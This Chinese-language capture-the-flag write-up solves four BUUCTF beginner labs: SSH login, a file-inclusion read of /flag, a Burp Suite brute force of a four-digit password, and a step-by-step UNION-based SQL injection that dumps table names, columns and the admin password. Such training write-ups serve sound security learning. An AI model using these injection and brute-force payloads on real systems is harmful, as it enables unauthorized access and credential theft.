目录
Linux Labs
BUU LFI COURSE 1
BUU BRUTE 1
BUU SQL COURSE 1
Linux Labs
第一个界面,给出了SSH
ssh 用户名:root 密码:123456 地址和端口为动态分配的
以及映射地址和端口(这个地址+端口是随机的)node4.buuoj.cn:29804
使用xshell进行ssh进行连接,输入主机和端口号
输入用户名和密码
成功ssh登入
在根目录下,找到了flag.txt的文件,拿到flag
BUU LFI COURSE 1
属于文件包含,这里文件包含时,不论什么类型文件都会被当作php文件执行
那么构造参数,猜测flag位置在根目录下
?file=/flag
成功回显flag内容
BUU BRUTE 1
这里是一个登录页面,使用bp抓包看一下,发现当输入错误用户名时,会回显“用户名错误”
那么我们尝试像admin,root等常用用户名,试出正确的用户名 admin,而且会回显密码为4位数字
如此可以确定思路,使用暴力破解,爆破4位数字密码(0000-9999) ,设置如下
密码四位整数,最小值为0,最大值为9999,设置递增步长为1,以探测每一个从0到9999的数字;由于密码为4位,所以对应不足四位的,需要以0补齐四位数。设置Min integer digits和Max integer digits的长度为4,设置小数点位数Min(Max) fraction digits为0
开始爆破,得到密码6490,在响应包中,可以看到flag回显
BUU SQL COURSE 1
上方左上角和右上角又热点和登录的选项,登陆选项尝试弱口令登录,发现无法判断用户名或者是密码是否有一项正确,放弃爆破,延题目寻找sql注入点
热点中存在三条热点测试新闻,随意点击一个抓包看一下
点击测试新闻2,发现id参数可控
payload:?id=1+and+1=1 页面正常回显;
?id=1+and1=2 页面没有回显,判断此处存在sql注入
接下来就是sql注入常规操作了,先判断回显位置
payload:?id=1+order+by+1,2 两列回显
?id=1+order+by+1,2,3 无回显
判断,存在两处回显
开始判断数据库名,这里id后的参数不能是1,2,3,其他值均可
payload:?id=4+union+select+1,database()
得到数据库名称news
判断表名
payload:
?id=4+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='news')
得到两个表名admin,contents
判断admin表的列名
payload:?id=4+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='news'+and+table_name='admin')
得到三个列名id,username,password
查询username和password的内容
payload:?id=4+union+select+1,(select+group_concat(username)+from+admin)
得到username内容,admin
payload:?id=4+union+select+1,(select+group_concat(password)+from+admin)
得到password的内容,a3a052083543baa047445ec732e7260a
再回到登录页面输入
username: admin
password: a3a052083543baa047445ec732e7260a
得到flag